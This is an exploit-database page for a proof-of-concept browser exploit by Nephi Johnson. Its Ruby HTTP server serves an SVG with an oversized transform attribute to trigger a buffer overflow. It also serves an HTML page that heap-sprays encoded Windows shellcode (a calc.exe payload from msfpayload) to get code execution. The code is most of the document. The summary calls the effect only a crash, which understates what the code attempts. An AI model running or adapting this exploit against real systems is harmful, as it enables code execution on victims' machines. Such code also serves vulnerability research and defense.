Microsoft Vulnerability Proof of Concept

vendor:

N/A

by:

Nephi Johnson

7.5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Microsoft Vulnerability Proof of Concept

This exploit is a proof of concept for a buffer overflow vulnerability in Microsoft products. The exploit uses a crafted SVG file with a malicious transform attribute to cause a buffer overflow. The overflow occurs when the transform attribute is too long, causing the application to crash.

Mitigation:

The best way to mitigate this vulnerability is to ensure that applications are updated to the latest version and that all security patches are applied.

Source

Exploit-DB raw data:

#!/usr/bin/env ruby
 
# http://breakingpointsystems.com/community/blog/microsoft-vulnerability-proof-of-concept
# Nephi Johnson

require 'socket'

def http_send(sock, data, opts={})
    defaults = {:code=>"200", :message=>"OK", :type=>"text/html", :desc=>"content"}
    opts = defaults.merge(opts)
    
    code = opts[:code]
    message = opts[:message]
    type = opts[:type]
    
    date_str = Time.now.gmtime.strftime("%a, %d %b %Y %H:%M:%S GMT")
    headers = "HTTP/1.1 #{code} #{message}\r\n" +
              "Date: #{date_str}\r\n" +
              "Content-Length: #{data.length}\r\n" +
              "Content-Type: #{type}\r\n\r\n"
    puts "[+] Sending #{opts[:desc]}"
    sock.write(headers + data) rescue return false
    return true
end
 
def sock_read(sock, out_str, timeout=5)
    begin
        if Kernel.select([sock],[],[],timeout)
            out_str.replace(sock.recv(1024))
            puts "[+] Received:"
            puts "    " + out_str.split("\n")[0]
            return true
        else
            sock.close
            return false
        end
    rescue Exception => ex
        return false
    end
end

port = ARGV[0] || 55555

transform_name = "\x21" * 65535

svg = <<-SVG
<?xml version="1.0"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg xmlns="http://www.w3.org/2000/svg"
    xmlns:xlink="http://www.w3.org/1999/xlink">

    <rect x="50" y="50" height="110" width="110"
          style="fill: #ffffff"
          transform="#{transform_name}(10) translate(30) rotate(45 50 50)"
            >
    </rect>
    <text x="100" y="100">CLICK ME</text>
</svg>
SVG

html = <<-HTML
<html>
    <body>
        <script>
            <!--
                function str_dup(str, length) {
                    var result = str;
                    while(result.length < length) {
                        result += result;
                    }
                    return result.substr(result.length - length);
                }

                var shellcode = unescape("%u9000%u9090%u9090") +
                                // msfpayload windows/exec CMD=calc.exe R | msfencode -t js_le -b "\x00"
                                unescape("%u39ba%ue680%udb4f%u29dc%ub1c9%ud933%u2474%u58f4" +
                                         "%u5031%u8313%u04c0%u5003%u6236%ub313%ueba0%u4cdc" +
                                         "%u8c30%ua955%u9e01%ub902%u2e33%uef40%uc5bf%u0404" +
                                         "%uab34%u2b80%u06fd%u02f7%ua6fe%uc837%ua83c%u13cb" +
                                         "%u0a10%udbf5%u4b65%u0132%u1985%u4deb%u8e37%u1098" +
                                         "%uaf8b%u1f4e%ud7b3%ue0eb%u6247%u30f5%uf9f7%ua8bd" +
                                         "%ua57c%uc81d%ub551%u8362%u0ede%u1210%u5f36%u24d9" +
                                         "%u0c76%u88e4%u4c7b%u2e20%u3b63%u4c5a%u3c1e%u2e99" +
                                         "%uc9c4%u883c%u6a8f%u28e5%uec5c%u266e%u7a29%u2b28" +
                                         "%uafac%u5742%u4e25%ud185%u757d%ub901%u1426%u6710" +
                                         "%u2989%ucf42%u8c76%ue208%ub663%u6952%u3a72%ud4e9" +
                                         "%u4474%u76f2%u751c%u1979%u8a5b%u5da8%uc093%uf4f1" +
                                         "%u8d3b%u4563%u2e26%u8a5e%uad5e%u736b%uada5%u7619" +
                                         "%u69e2%u0af1%u1c7b%ub9f5%u357c%u5c96%ud5ee%ufa77" +
                                         "%u7c96%u0e88");
                var base = str_dup(unescape("%u2100"), 0x800 - shellcode.length);
                var arr = [];
                for(var i = 0; i < 2000; i++) {
                    arr[i] = document.createElement("a");
                    arr[i].innerHTML = [base + shellcode].join("");
                }
            -->
        </script>
        <iframe width="100%" height="100%" src="poc.svg" marginheight="0" marginwidth="0"></iframe>
    </body>
</html>
HTML

puts "[+] Listening on port #{port}"
puts

TCPServer.open(port) do |srv|
    while true
        cli = srv.accept
        req = ""
        next unless sock_read(cli, req, 5)
        while req.length > 0
            if req =~ /GET.*svg/i
                break unless http_send(cli, svg, :type=>"image/svg+xml", :desc=>"svg")
            elsif req =~ /QUIT/
                exit()
            else
                break unless http_send(cli, html, :type=>"text/html", :desc=>"html")
            end
            req = ""
            next unless sock_read(cli, req, 5)
        end
        cli.close rescue next
    end
end